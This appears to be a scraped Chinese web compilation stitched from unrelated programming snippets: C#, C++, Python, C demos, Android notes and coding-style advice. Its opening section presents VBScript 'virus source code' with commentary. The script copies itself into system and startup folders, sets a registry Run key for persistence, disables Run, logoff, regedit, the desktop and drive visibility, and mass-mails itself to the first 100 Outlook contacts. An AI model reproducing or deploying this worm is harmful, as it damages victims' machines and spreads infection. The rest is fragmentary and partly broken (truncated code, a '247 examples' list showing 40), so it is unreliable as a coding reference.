源代码文件夹用到的代码

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电脑病毒源代码介绍

电脑病毒源代码介绍

电脑病毒源代码介绍电脑中了病毒想从它的源代码入手怎么办呢!有店铺在,下面由店铺给你做出详细的电脑病毒源代码介绍!希望对你有帮助!电脑病毒源代码介绍:电脑病毒源代码一:on error resume nextset fs=createobject("ing.filesystemobject" '创建一个能与操作系统沟通的对象,再利用该对象的各种方法对注册表进行操作set dir1=fs.getspecialfolder(0) '获取windows/winnt文件夹位置set dir2=fs.getspecialfolder(1) '获取system32/system文件夹位置set so=createobject("ing.filesystemobject"dim r '定义一个变量set r=createobject("w.shell"so.getfile(w.fullname).copy(dir1&"\win32system.vbs" '复制病毒副本到windows/winnt文件夹位置so.getfile(w.fullname).copy(dir2&"\win32system.vbs" '复制病毒副本到system32/system文件夹位置so.getfile(w.fullname).copy(dir1&"\start menu\programs\启动\win32system.vbs" '复制病毒副本到start menu启动菜单'下面是对注册表的恶意修改和简单的依靠oe传播r.regwrite"hkcu\software\microsoft\windows\currentversion\policies\expl orer\norun",1,"reg_dword" '修改注册表,禁止“运行”菜单r.regwrite"kcu\software\microsoft\windows\currentversion\policies\explo rer\noclose",1,"reg_dword" '修改注册表,禁止“关闭”菜单r.regwrite"hkcu\software\microsoft\windows\currentversion\policies\expl orer\nodrives",63000000,"reg_dword" '修改注册表,隐藏所有逻辑盘符r.regwrite"hkcu\software\microsoft\windows\currentversion\policies\syst em\disableregistrytools",1,"reg_dword" '修改注册表,禁止注册表编辑r.regwrite"hklm\software\microsoft\windows\currentversion\run\scanregi stry","" '修改注册表,禁止开机注册表扫描r.regwrite"hkcu\software\microsoft\windows\currentversion\policies\expl orer\nologoff",1,"reg_dword" '修改注册表,禁止“注销”菜单r.regwrite"hkcu\software\microsoft\windows\currentversion\policies\win oldapp\norealmode",1,"reg_dword" '修改注册表,禁止ms-dos实模式r.regwrite"hklm\software\microsoft\windows\currentversion\run\win32sy stem","win32system.vbs" '修改注册表,使这个脚本本身开机自动运行r.regwrite"hkcu\software\microsoft\windows\currentversion\policies\expl orer\nodesktop",1,"reg_dword" '修改注册表,禁止显示桌面图标r.regwrite"hkcu\software\microsoft\windows\currentversion\policies\win oldapp\disabled",1,"reg_dword" '修改注册表,禁止纯dos模式r.regwrite"hkcu\software\microsoft\windows\currentversion\policies\expl orer\nosettaskbar",1,"reg_dword" '修改注册表,禁止“任务栏和开始”菜单r.regwrite"hkcu\software\microsoft\windows\currentversion\policies\expl orer\noviewcontextmenu",1,"reg_dword" '修改注册表,禁止右键菜单电脑病毒源代码二:r.regwrite"hkcu\software\microsoft\windows\currentversion\policies\expl orer\nosetfolders",1,"reg_dword" '修改注册表,禁止控制面板r.regwrite "hklm\software\classes\.reg\","txtfile" '修改注册表,禁止导入使用.reg文件,改为用txt文件的关联r.regwrite"hklm\software\microsoft\windows\currentversion\winlogon\le galnoticecaption","警告" '设置开机提示框标题r.regwrite"hklm\software\microsoft\windows\currentversion\winlogon\le galnoticetext","您中vbs脚本病毒了,哭吧~" '设置开机提示框文本内容set ol=createobject("outlook.application" '创建outlook文件对象用于传播on error resume nextfor x=1 to 100set mail=ol.createitem(0)mail.to=ol.getnamespace("mapi".addresslists(1).addressentr ies(x) '用于向地址簿的前100名发送此vbs病毒,可以算是简单弱智的蠕虫了吧~~mail.subject="今晚你来吗?" '邮件主题mail.body="朋友你好:您的朋友rose给您发来了热情的邀请。

文件夹中所有文件中的内容搜索源代码

文件夹中所有文件中的内容搜索源代码
line = srFile.ReadLine(); ++lineNo; }
srFile.Close(); srFile.Dispose(); srFile = null;
}
MessageBox.Show(exp.Message, "Exception Found", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
lblStatus.Text = "Status: Search end."; }
// 搜索指定文件夹,并递归搜索其子文件夹 private void SearchDir(string dir) {
lblStatus.Text = "Search DIR: " + dir; string[] arrFolders = new string[0]; string[] arrFiles = new string[0];
try {
arrFolders = Directory.GetDirectories(dir); arrFiles = Directory.GetFiles(dir); } catch {
MessageBox.Show("Please set the correct Directory Path", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
return; }
for(int i=0; i"Search DIR: " + dir;
iIndex = stIndexOf('/'); if (iIndex < 0)

源代码说明文档范文

源代码说明文档范文

源代码说明文档范文一、引言源代码是程序编写的文本文件。

它包含了程序的逻辑结构、功能实现和计算机命令等内容。

源代码说明文档是对源代码进行解释和说明的文档,旨在让用户、开发人员和审查人员能够更好地了解代码的结构、功能和实现细节。

本文档将详细介绍源代码的组成部分、结构、功能和使用方法,并提供示例代码和运行结果,以便读者更好地理解和使用源代码。

二、源代码结构源代码通常由多个文件组成,这些文件按照功能和关联进行组织。

常见的源代码结构包括以下几个部分:1.引用库:源代码中可能会引用其他已经存在的代码库,用于实现一些公共功能。

在本部分中,会列出所有用到的引用库,并说明其作用和使用方法。

3.主函数:源代码中通常有一个主函数,负责程序的入口和流程控制。

在本部分中,会详细说明主函数的结构和功能,并提供示例代码和运行结果。

4.功能函数:源代码中可能会包含一些功能函数,用于实现具体的功能模块或算法。

在本部分中,会说明每个功能函数的作用和使用方法,并提供示例代码和运行结果。

三、使用方法源代码的使用方法包括以下几个方面:1.环境配置:源代码可能需要在特定的编程环境中编译和运行,本部分会详细说明所需的编程环境和配置步骤,并提供相关的链接和资源。

2.编译和运行:本部分会说明如何编译源代码,并提供示例命令和运行结果。

3.参数设置:源代码可能会接受一些输入参数,本部分会说明每个参数的含义和设置方法。

4.输出结果:源代码可能会输出一些结果,本部分会说明每个输出结果的含义和格式。

四、示例代码下面是一个简单的示例代码,用于说明源代码的结构和使用方法:1.引用库本示例代码没有引用任何外部库。

2.定义和声明本示例代码定义了一个名为"HelloWorld"的类,其中包含一个静态函数"main"。

3.主函数在主函数中,首先输出了一条欢迎信息,然后打印了Hello World。

```public class HelloWorldpublic static void main(String[] args)System.out.println("Hello World");}```4.编译和运行本示例代码使用Java编程语言编写,可以使用命令行或集成开发环境(IDE)进行编译和运行。

Android工程各文件夹结构的含义及全代码使用与全解

Android工程各文件夹结构的含义及全代码使用与全解

Android工程各文件夹结构的含义及全代码使用与全解对Android这些东西一开始听迷惑的,不知道什么东西该放在上面地方,把网上的资源整合一下,放在这里。

1.总述我们建立一个android工程,其结构如下:1.1、src文件夹顾名思义(src, source code)该文件夹是放项目的源代码的。

A. android.app.Activity类:Activity类关注创建窗口与交互,它使用方法setContentView(View)将自己的UI放到里面。

重要的方法:onCreate(Bundle):初始化活动(Activity)。

(1)通过调用setContentView(int)方法加载布局资源(layoutresource)从而实现对UI的定义;(2)另一方面,可以用findViewById(int)在UI中检索到需要编程交互的小部件(widgets)。

主要的思想:setContentView指定由哪个文件指定布局(main.xml),可以将这个界面显示出来,然后我们进行相关操作,我们的操作会被包装成为一个意图(Intent),然后这个意图对应有相关的activity进行处理。

B. android.os.Bundle类:从字符串值映射各种可打包的(Parcelable)类型(Bundle单词就是捆绑的意思,所有这个类很好理解和记忆)。

如该类提供了公有方法——public boolean containKey(String key),如果给定的key包含在Bundle的映射中返回true,否则返回false。

该类实现了Parceable和Cloneable接口,所以它具有这两者的特性。

1.2、gen文件夹该文件夹下面有个R.java文件,R.java是在建立项目时自动生成的,这个文件是只读模式的,不能更改。

R.java文件中定义了一个类——R,R类中包含很多静态类,且静态类的名字都与res中的一个名字对应,即R类定义该项目所有资源的索引。

文件管理源代码

文件管理源代码
while(1)
{
if((name[j]==name2)&&(w[j][0]==t)&&(w[j][1]==1)&&(w[j][2]==1))
{
cout<<"此文件夹已存在,请输入其他名字:";
cin>>name2;
{
if(w[i][2]==0)
{
w[i][2]=1;
w[i][1]=0;
w[i][0]=t;
name[i]=name1;
break;
}
}
system("cls");
mainmenue(c);
}
void rename1(int t)
cout<<"请输入要重命名的文件:";
cin>>name1;
for(int i=1;i<100;i++)
{
if((name[i]==name1)&&(w[i][0]==t)&&(w[i][1]==0)&&(w[i][2]==1))
{
s=i;
}
j++;
if(j==100)break;
};
name[s]=name2;
system("cls");
mainmenue(c);
}
void rename2(int t)
{
int j=1,s;
string name1,name2;
break;

247个python 案例 源码

247个python 案例 源码

Python作为一种高级编程语言,被广泛应用于数据分析、人工智能、Web开发等领域。

通过阅读Python案例源码,我们可以深入了解Python的语法、特性和应用方式。

在本文中,我们将共享247个Python案例源码,希望能够帮助大家更好地理解Python编程。

一、Python语法基础1. Hello World```pythonprint("Hello World")```2. 变量赋值```pythonname = "张三"age = 18```3. 条件语句```pythonif x > 0:print("x是正数")else:print("x是负数或零")```4. 循环语句```pythonfor i in range(5):print(i)```5. 函数定义```pythondef add(x, y):return x + y```6. 列表操作```pythonnumbers = [1, 2, 3, 4, 5]```7. 字典操作```pythonperson = {'name': '张三', 'age': 18}```8. 字符串操作```pythons = "Hello, World"```9. 文件操作```pythonwith open('file.txt', 'r') as f: content = f.read()```10. 异常处理```pythontry:x = 1 / 0except ZeroDivisionError: print("除零错误")```二、数据分析与处理11. 数据读取```pythonimport pandas as pddata = pd.read_csv('data.csv') ```12. 数据清理```pythondata.dropna()```13. 数据筛选```pythondata[data['age'] > 30]```14. 数据聚合```pythondata.groupby('sex').mean() ```15. 数据可视化```pythonimport matplotlib.pyplot as pltplt.plot(data['x'], data['y'])```三、Web开发16. Flask框架搭建```pythonfrom flask import Flaskapp = Flask(__name__)app.route('/')def index():return "Hello, World!"if __name__ == '__m本人n__':app.run()```17. Django框架搭建```pythonfrom django.shortcuts import renderfrom django.网络协议 import HttpResponsedef index(request):return HttpResponse("Hello, World!")```18. 数据库操作```pythonimport sqlite3conn = sqlite3.connect('test.db')```19. 模板引擎```pythonrender_template('index.html', name=name) ```20. 表单处理```pythonif request.method == 'POST':process_form_data()```四、人工智能21. 机器学习```pythonfrom sklearn import svm model = svm.SVC()```22. 深度学习```pythonimport torchmodel = torch.nn.Sequential() ```23. 自然语言处理```pythonimport nltknltk.download('punkt')```24. 图像处理```pythonimport cv2image = cv2.imread('image.jpg')25. 语音处理```pythonimport speech_recognition as srr = sr.Recognizer()with sr.Microphone() as source:audio = r.listen(source)```五、网络编程26. TCP服务器```pythonimport socketserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ```27. TCP客户端```pythonclient = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect(('127.0.0.1', 8888))28. UDP服务器```pythonserver = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) server.bind(('127.0.0.1', 9999))```29. UDP客户端```pythonclient = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) client.sendto(b'hello', ('127.0.0.1', 9999))```30. HTTP请求```pythonimport requestsresponse = requests.get('xxx```六、系统管理31. 文件操作```pythonimport osos.mkdir('test')```32. 进程管理```pythonimport subprocessresult = subprocess.run(['ls', '-l'], stdout=subprocess.PIPE) ```33. 网络配置```pythonimport netifacesnetifaces.interfaces()```34. 日志记录```pythonimport logginglogging.basicConfig(filename='example.log',level=logging.DEBUG)```35. 定时任务```pythonimport scheduleschedule.every().day.at("10:30").do(job)```七、其他实用工具36. 数据加密```pythonimport hashlibhashlib.md5('xxx'.encode('utf-8')).hexdigest() ```37. 数据压缩```pythonimport zlibcompressed_data = zlibpress('Hello, World') ```38. 数据解压```pythonoriginal_data = zlib.dpresspressed_data)```39. 日期时间处理```pythonimport datetimedt = datetime.datetime.now()```40. 邮件发送```pythonimport smtplibserver = smtplib.SMTP('smtp.example', 25)```八、总结通过阅读以上247个Python案例源码,我们不仅可以加深对Python 编程语言的理解,还可以学习到Python在不同领域的应用方式。

编程代码大全

编程代码大全

编程代码大全编程代码是指用特定的编码语言编写的一段计算机程序,它可以实现特定的功能或解决特定的问题。

在现代社会中,编程代码已经成为了各行各业中重要的工具。

无论是开发网站、设计应用程序还是进行数据分析,都需要编程代码来实现。

编程代码可以分为各种不同的类型,如HTML、CSS、JavaScript、Python、Java等。

每种编程语言都有其独特的语法和规则,开发者需要根据具体情况选择合适的编程语言来编写代码。

在编程代码的过程中,开发者需要遵循一定的规范和标准。

良好的代码风格和格式对于代码的可读性和可维护性非常重要。

下面将介绍一些常用的编程代码格式和规范。

1. 缩进:缩进是代码排版的重要部分,可以增强代码的可读性。

一般来说,使用4个空格或者一个制表符进行缩进。

2. 注释:注释是在代码中添加说明和解释的方式。

注释可以提高代码的可读性,并方便其他开发者理解代码的意图。

在编写代码时,应该养成良好的注释习惯。

3. 命名规范:良好的命名规范有助于代码的理解和维护。

变量、函数、类等的命名应该具有一定的描述性,能够准确地反映其功能和用途。

4. 按功能划分:将代码按照功能进行划分,可以提高代码的可维护性。

可以使用函数、类和模块等方式将代码进行组织,并根据需要进行拆分和封装。

5. 错误处理:良好的错误处理可以提高代码的健壮性。

当代码出现异常或错误时,应该及时捕获并进行相应的处理,以避免代码崩溃或产生不可预料的错误。

6. 代码复用:避免重复编写相同的代码可以提高开发效率和代码的可维护性。

可以将常用的代码封装成函数或类,并在需要的地方进行调用。

7. 代码测试:代码测试是保证代码质量的重要环节。

开发者可以使用各种测试框架和工具来对代码进行单元测试、集成测试和功能测试等,以确保代码的正确性和可靠性。

总结起来,编程代码的格式和规范对于代码的可读性、可维护性和可扩展性非常重要。

遵循良好的代码风格和规范可以提高代码的质量和开发效率,减少错误和调试时间。

3、C编程的各种源码文件

3、C编程的各种源码文件

3、C编程的各种源码⽂件1、C语⾔模块化编程中的头⽂件 实际开发中⼀般是将函数和变量的声明放到头⽂件,再在当前源⽂件中 #include 进来。

如果变量的值是固定的,最好使⽤宏来代替。

.c和.h⽂件都是源⽂件,除了后缀不⼀样便于区分外和管理外,其他的都是相同的,在.c中编写的代码同样也可以写在.h中,包括函数定义、变量定义、预处理等。

但是,.h 和 .c 在项⽬中承担的⾓⾊不⼀样:.c ⽂件主要负责实现,也就是定义函数和变量;.h ⽂件主要负责声明(包括变量声明和函数声明)、宏定义、类型定义等。

这些不是C语法规定的内容,⽽是约定成俗的规范,或者说是长期形成的事实标准。

根据这份规范,头⽂件可以包含如下的内容:可以声明函数,但不可以定义函数。

可以声明变量,但不可以定义变量。

可以定义宏,包括带参的宏和不带参的宏。

结构体的定义、⾃定义数据类型⼀般也放在头⽂件中。

在项⽬开发中,我们可以将⼀组相关的变量和函数定义在⼀个 .c ⽂件中,并⽤⼀个同名的 .h ⽂件(头⽂件)进⾏声明,其他模块如果需要使⽤某个变量或函数,那么引⼊这个头⽂件就可以。

这样做的另外⼀个好处是可以保护版权,我们在发布相关模块之前,可以将它们都编译成⽬标⽂件,或者打包成静态库,只要向⽤户提供头⽂件,⽤户就可以将这些模块链接到⾃⼰的程序中。

2、C语⾔标准库以及标准头⽂件 源⽂件通过编译可以⽣成⽬标⽂件(例如 GCC 下的 .o 和 Visual Studio 下的 .obj),并提供⼀个头⽂件向外暴露接⼝,除了保护版权,还可以将散乱的⽂件打包,便于发布和使⽤。

实际上我们⼀般不直接向⽤户提供⽬标⽂件,⽽是将多个相关的⽬标⽂件打包成⼀个静态链接库(Static Link Library),例如 Linux 下的 .a 和 Windows 下的 .lib。

打包静态库的过程很容易理解,就是将多个⽬标⽂件捆绑在⼀起形成⼀个新的⽂件,然后再加上⼀些索引,⽅便链接器找到,这和压缩⽂件的过程⾮常类似。

100个简单代码

100个简单代码

100个简单代码【引言】作为一名程序员,你是否曾遇到过需要快速实现某个功能,但又不想花费太多时间和精力去编写复杂代码的情况?这时,简单代码就能派上用场。

在这篇文章中,我们将介绍100个简单且实用的代码,帮助你提高编程效率。

【简单代码的定义和作用】简单代码指的是使用较少行数和较低层次的语法实现的代码,通常具有明确的功能和易于理解的特点。

它们能够帮助你快速完成任务,提高编程效率,同时降低代码维护成本。

简单代码的作用在于降低代码的复杂度,使程序更容易阅读和理解。

【100个简单代码的分类】以下是100个简单代码的分类,涵盖了编程的各个方面:1.字符串处理2.数学计算3.列表和元组操作4.字典操作5.条件判断6.循环语句7.函数和模块使用8.异常处理9.文件操作10.网络编程11.数据库操作12.图形界面13.操作系统命令14.并发编程15.数据结构16.加密算法17.机器学习18.图像处理19.文本分析20.Web开发......【每个代码的详细解释和实例】由于篇幅原因,无法在这里详细解释每个代码。

但我们可以通过以下方式展示一部分简单代码的实例:1.字符串处理:```pythondef reverse_string(s):return s[::-1]text = "Hello, World!"print(reverse_string(text))```2.数学计算:```pythondef add(a, b):return a + bresult = add(3, 5)print(result)```3.列表和元组操作:```pythonsquares = [x**2 for x in range(1, 6)]print(squares)umbers = (1, 2, 3, 4, 5)product = 1for num in numbers:product *= numprint(product)```【代码的实用性和应用场景】这些简单代码在实际编程中具有很高的实用性,可以帮助你快速解决各种问题。

小程序源代码使用

小程序源代码使用

小程序源代码使用
小程序源代码是指微信小程序开发中的代码,可以用于创建小程序的功能和界面。

小程序源代码使用的步骤如下:
1. 下载小程序源代码:可以从开发者提供的网站或者开源社区上下载小程序源代码的压缩包。

2. 解压源代码:将下载的压缩包解压到本地的文件夹中。

3. 打开开发工具:使用微信开发者工具打开解压后的文件夹。

4. 导入项目:在开发者工具中,点击左上角的“导入项目”按钮,选择解压后的文件夹,并填写项目的AppID。

5. 编辑代码:在开发者工具的编辑器中,可以看到小程序的源代码,可以通过编辑代码来修改小程序的功能和界面。

6. 预览小程序:在开发者工具中,点击预览按钮,可以在模拟器中查看小程序的效果。

7. 调试和测试:在开发者工具中,可以通过调试和测试功能来检查小程序的代码是否有错误或者功能是否正常。

8. 发布小程序:当小程序开发完成后,可以在开发者工具中进行小程序的发布操作,将小程序上传到微信服务器上。

以上就是小程序源代码的使用步骤,通过修改和发布源代码,可以实现自定义的小程序功能和界面。

实用的cmd代码

实用的cmd代码

以下是一些实用的cmd代码,可以用于日常操作和管理系统:1. 列出当前目录下的所有文件和文件夹:
```bash
dir
```
2. 切换到上级目录:
```bash
cd ..
```
3. 创建新文件夹:
```bash
mkdir 新文件夹名称
```
4. 删除文件或文件夹:
```bash
del 文件或文件夹路径
rmdir /s /q 文件夹路径(用于删除空文件夹)
```
5. 搜索文件:
```bash
find 文件名-type f (用于搜索文件)
```
6. 查看当前用户名和所在工作目录:
```bash
echo %username% (查看当前用户名)
echo %cd% (查看当前工作目录)
```
7. 修改当前工作目录:
```bash
cd 新目录路径
```
8. 显示当前系统时间:
```bash
date (显示当前日期和时间)
time (显示当前系统时间)
```
9. 运行程序或命令:
```bash
start 程序或命令路径(用于启动程序或命令)
```
10. 查看系统版本信息:
```bash
ver (显示系统版本信息)
```
以上是一些常用的cmd代码,可以帮助用户在日常操作和管理系统时更加方便和高效。

当然,还有很多其他的cmd代码和命令可以使用,具体使用方法可以参考相关的文档或手册。

python代码大全

python代码大全

python代码大全Python代码大全。

Python是一种高级编程语言,它具有简单易学、功能强大、开发效率高等特点,因此受到了广泛的关注和应用。

在Python的世界里,代码是最重要的,因此我们需要不断学习和积累各种Python代码,以便更好地应用于实际开发中。

在这篇文档中,我将为大家整理一些常见的Python代码,希望能够帮助大家更好地理解和运用Python语言。

以下是一些常见的Python代码示例:1. Hello World。

```python。

print("Hello, World!")。

```。

这是Python中最简单的代码示例,它用于在屏幕上输出"Hello, World!"这个字符串。

这个示例非常简单,但它展示了Python的基本语法和输出功能。

2. 变量和数据类型。

```python。

# 定义变量。

name = "Alice"age = 25。

height = 1.75。

is_student = True。

# 打印变量。

print("My name is", name)。

print("I am", age, "years old")。

print("My height is", height)。

print("I am a student:", is_student)。

```。

这个示例展示了Python中变量的定义和数据类型的使用。

在Python中,变量可以直接赋值,而不需要声明类型,这使得Python的代码更加简洁和易读。

3. 条件语句。

```python。

# 条件语句示例。

x = 10。

if x > 5:print("x is greater than 5")。

elif x == 5:print("x is equal to 5")。

java文件夹结构解释 -回复

java文件夹结构解释 -回复

java文件夹结构解释-回复Java文件夹结构解释Java是一种广泛使用的编程语言,其文件夹结构对于组织和管理Java项目至关重要。

在本文中,我们将逐步解释Java文件夹结构,包括主要目录、文件和文件夹的作用,以及如何组织Java项目以实现最佳实践。

1. 项目根目录(Project Root Directory)项目根目录是Java项目的最外层文件夹,包含整个项目的所有内容。

通常情况下,项目根目录的名称是基于所用IDE或构建工具的默认设置,并且可以根据项目的需求进行自定义。

在此目录下,会包含项目的配置文件、主要源代码、资源文件等。

2. 源码目录(Source Directory)源码目录是存放Java源代码的文件夹。

它通常被命名为"src",在项目根目录下。

在源码目录中,按照软件设计的模块进行组织,例如MVC(模型-视图-控制器)模式中的模型、视图和控制器等。

3. 测试目录(Test Directory)测试目录是存放单元测试代码的文件夹。

它通常被命名为"test",位于源码目录下。

在测试目录中,我们编写单元测试用例来验证项目功能的正确性和可靠性。

使用框架如JUnit来编写和运行这些测试用例,可以方便地检测和修复潜在的bug。

4. 资源目录(Resource Directory)资源目录是存放项目资源文件的文件夹。

这些资源文件可以是配置文件、语言文件、图像文件等。

它通常被命名为"resources",位于项目根目录下或者源码目录下。

资源文件是与代码相分离的,通过读取这些文件,程序可以动态获取所需的配置或数据。

5. 类文件目录(Class File Directory)类文件目录是存放编译后的Java类文件的文件夹。

当我们编写Java程序时,我们需要将源代码文件编译成字节码文件,以供Java虚拟机(JVM)执行。

类文件目录通常被命名为"bin"或"target",位于项目根目录下或者源码目录下。

C语言程序设计入门源代码代码集合

C语言程序设计入门源代码代码集合

演示1#include<stdio.h>voidprint_star(void){printf("*****************\n");}voidprint_welcome(void){printf("Clanguage,welcome!\n");}voidmain(){print_star();print_welcome();print_star();getchar();}演示2#include"stdio.h"intsum(inti,intj){return(i+j);}voidmain(){intn1,n2;printf("input2numbers:\n");scanf("%d%d",&n1,&n2);printf("thesum=%d\n",sum(n1,n2)); getchar();}演示3#include"stdio.h"intmaxnum(int,int,int);main(){inta,b,c;printf("Pleaseenter3numbers:\n"); scanf("%d,%d,%d",&a,&b,&c);printf("Maxnumis%d\n",maxnum(a,b,c));return0;}intmaxnum(intx,inty,intz) {intmax=x;if(y>max)max=y;if(z>max)max=z;returnmax;}演示4#include<stdio.h>ints1(intn){intj,s;s=0;for(j=1;j<=n;j++)s=s+j;returns;}intsum(intn){inti,s=0;for(i=1;i<=n;i++)s=s+s1(i);returns;}voidmain(){intn;printf("n:");scanf("%d",&n);printf("s=%d\n",sum(n)); }演示5#include<stdio.h>voidfunc(intn){inti;for(i=n-1;i>=1;i--)n=n+i;printf("n=%d\n",n);}voidmain(){intn;printf("Inputn:");scanf("%d",&n);func(n);printf("n=%d\n",n);}演示6#include<stdio.h>voidswap(inta,intb){inttemp;temp=a;a=b;b=temp;printf("swap:a=%d,b=%d\n",a,b); }voidmain(){inta,b;a=3;b=10;swap(a,b);printf("a=%d,b=%d\n",a,b);}演示7#include<stdio.h>intfunc(inta,intb){intc;c=a+b;returnc;}voidmain(){intx=6,y=7,z=8,r;r=func((x--,y++,x+y),z--);printf("%d\n",r);}演示8#include<stdio.h>max(floatx,floaty){returnx>y?x:y;}voidmain(){printf("%d\n",max(2,3.5)); }演示9#include<stdio.h>intsum(intn){inti,s=0;for(i=0;i<=n;i++)s=s+i;returns;}voidmain(){intm,sn;scanf("%d",&m);sn=sum(m);printf("thesumis%d\n",sn); }演示10#include<stdio.h>voidswap(intx,inty);intmain(){inta,b;printf("input2numbers:\n"); scanf("%d,%d",&a,&b);printf("inputnumberis:a=%d,b=%d\n",a,b);swap(a,b);printf("input2numbersis:a=%d,b=%d\n",a,b);return0;}voidswap(intx,inty){inttemp;temp=x;x=y;y=temp;printf("swapnumberis:x=%d,y=%d\n",x,y);}演示11#include"stdio.h"#defineK3#defineN5longf2(intn,intk){longpower=n;inti;for(i=1;i<k;i++)power*=n;returnpower;}longf1(intn,intk){longsum=0;inti;for(i=1;i<=n;i++)sum=sum+f2(i,k);returnsum;}intmain(void){printf("sumof%dpowerofintegerfrom1to%d=",K,N); printf("%ld\n",f1(N,K));return0;}演示12#include<stdio.h>intmin(inta,intb);intmain(void){intj,k,mininum;printf("input2integers:");scanf("%d,%d",&j,&k);mininum=min(j,k);printf("\nofthetwovalues%dand%d,themininumis%d\n",j,k,mininum);return0;}intmin(inta,intb){if(a<b)returna;elsereturnb;}演示13#include<stdio.h>intfunc(inta,intb);voidmain(){intk=4,m=1,p;p=func(k,m);printf("%d\n",p);}intfunc(inta,intb){intm=0,i=2;i+=m+1;m=i+a+b;returnm;}演示14#include<stdio.h>intmax(intx,inty){intz;z=x>y?x:y;returnz;}voidmain()externintA,B;//声明外部变量printf("%d\n",max(A,B));}intA=13,B=-8;//定义外部变量演示15#include<stdio.h>intf1(intxb){externintxa;return(xa*xb);}intmain(void){externintxb;intxa=5;printf("xa=%d,xb=%d,result=%d",xa,xb,f1(xa)); return0;}intxa=3,xb=4;演示16#include<stdio.h>voidnum(){externintx,y;inta=15,b=10;x=a-b;y=a+b;}intx,y;voidmain(){inta=7,b=5;x=a+b;y=a-b;num();printf("%d,%d\n",x,y);}演示17#include<stdio.h>voidmain()voidswap();externinta,b;a=3;b=10;swap();printf("a=%d,b=%d\n",a,b);}inta,b;voidswap(){inttemp;temp=a;a=b;b=temp;}演示18#include<stdio.h>voidauto_static(void){intvar_auto=0;staticintvar_static=0;printf("var_auto=%d,var_static=%d\n",var_auto++,var_static++); }voidmain(){inti;for(i=0;i<3;i++)auto_static();}演示19#include<stdio.h>voidswap(intx,inty){intt;t=x;x=y;y=t;}voidmain(){inta,b;scanf("%d,%d",&a,&b);swap(a,b);printf("%d,%d\n",a,b);}----------------------------------------------------------------------------------------------------------#include<stdio.h>intx,y;voidswap(int,,int){intt;t=x;x=y;y=t;}voidmain(){scanf("%d,%d",&x,&y);swap(x,y);printf("%d,%d\n",x,y);}#include<stdio.h>intx,y;voidswap(intx,inty){intt;t=x;x=y;y=t;}voidmain(){scanf("%d,%d",&x,&y);swap(x,y);printf("%d,%d\n",x,y);}----------------------------------------------------------------------------------------------------------------------演示20#include<stdio.h>intfac(intn){staticintf=1;f=f*n;returnf;}voidmain(){inti;for(i=1;i<=5;i++)printf("%d!=%d\n",i,fac(i));}演示21#include"stdio.h"intmain(void){inta=2;intp=a;printf("%d\n",a);{inta=7;printf("%d\n",a);printf("%d\n",p);}printf("%d\n",++a);return0;}演示22#include<stdio.h>intfunc(inta,intb);voidmain(){intk=4,m=1,p;p=func(k,m);printf("%d,",p);p=func(k,m);printf("%d\n",p); }intfunc(inta,intb){staticintm=0,i=2;i+=m+1;m=i+a+b;returnm;}演示23#include<stdio.h>f(intn){intc;if(n==6)c=1;elsec=(f(n+1)+1)*2;returnc;}voidmain(){printf("%d\n",f(1));}演示24#include<stdio.h>longpower(intn){longf;if(n>1)f=power(n-1)*n;elsef=1;returnf;}main(){intn;longx;printf("inputanintegernumber:\n"); scanf("%d",&n);x=power(n);printf("%d!=%ld\n",n,x);getchar();}演示25#include<stdio.h>intfact(){staticinti=5;if(i==0)return1;else{i--;return(i+1)*fact();}}voidmain(){printf("fact=%d\n",fact());}演示26#include<stdio.h>intfun(intk);intw=3;voidmain(){intw=10;printf("%d\n",fun(5)*w);}intfun(intk){if(k==0)returnw;return(fun(k-1)*k);}演示27#include<stdio.h>intfac(intn){registerinti,f=1;for(i=1;i<=n;i++)f=f*i;returnf;}main(){inti;for(i=1;i<=5;i++)printf("%d!=%d\n",i,fac(i)); }演示28#include<stdio.h>age(intn){intc;if(n==1)c=10;elsec=age(n-1)+2;returnc;}voidmain(){printf("%d\n",age(5));}演示29#include<stdio.h>#definePI3.14#definecircuit(r)2*PI*r#definearea(r)PI*r*rvoidmain(){floatra,c,a;scanf("%f",&ra);c=circuit(ra);a=area(ra);printf("ra=%f,c=%f,a=%f",ra,c,a);}汉诺塔(演示30)#include"stdio.h"voidmove(int,char,char,char);intmain(void){intn;printf("inputndiskontowerA:\n");scanf("%d",&n);move(n,'A','B','C');getchar();return0;}voidmove(intn,chara,charb,charc){staticintstep=1;if(n==1){printf("step%d:movediskform%c->%c\n",step++,a,c); }else{move(n-1,a,c,b);move(1,a,b,c);move(n-1,b,a,c);}}演示31#defineLETTER1#include"stdio.h"voidmain(){charstr[20]="CLanguage",c;inti;i=0;while((c=str[i])!='\0'){i++;#ifLETTERif(c>='a'&&c<='z')c=c-32;#elseif(c>='A'&&c<='Z')c=c+32;#endifprintf("%c",c);}}#include<stdio.h>longf(intn){if(n==1||n==2)return1;elsereturnf(n-1)+f(n-2);}voidmain(){longn;printf("inputn:\n");scanf("%d",&n);printf("thenumberis%d\n",f(n)); }。

c语言源代码

c语言源代码

c语言源代码在计算机科学领域,C语言是一种被广泛应用的程序设计语言,它以其简洁、高效和可移植性而闻名。

本文将提供一些C语言的源代码示例,帮助读者更好地理解和应用这门编程语言。

1. Hello World程序#include <stdio.h>int main() {printf("Hello, World!");return 0;}上述代码是C语言中经典的Hello World程序。

它使用了stdio.h头文件,其中包含了用于输入输出的函数。

main()函数是程序的入口点,它执行printf函数并打印出"Hello, World!"的字符串。

最后,return语句表示程序正常结束。

2. 计算两个数的和#include <stdio.h>int main() {int num1, num2, sum;printf("请输入两个整数:");scanf("%d %d", &num1, &num2);sum = num1 + num2;printf("两个数的和为:%d", sum);return 0;}以上代码展示了如何用C语言编写一个简单的计算两个数的和的程序。

通过使用scanf函数,用户可以在程序运行时输入两个整数。

程序将这两个数相加,并使用printf函数打印出结果。

3. 判断一个数是否为质数#include <stdio.h>int main() {int num, i, isPrime = 1;printf("请输入一个正整数:");scanf("%d", &num);for (i = 2; i <= num / 2; ++i) {if (num % i == 0) {isPrime = 0;break;}}if (isPrime)printf("%d是质数", num);elseprintf("%d不是质数", num);return 0;}上述代码展示了如何用C语言编写一个判断一个数是否为质数的程序。

BAT文件常用代码大全

BAT文件常用代码大全

BAT文件常用代码大全BAT文件是Windows操作系统中常用的批处理文件,它可以用来批量执行一系列的命令,从而实现自动化的操作。

在BAT文件中,常用的代码有很多种,包括文件操作、系统管理、网络操作等等。

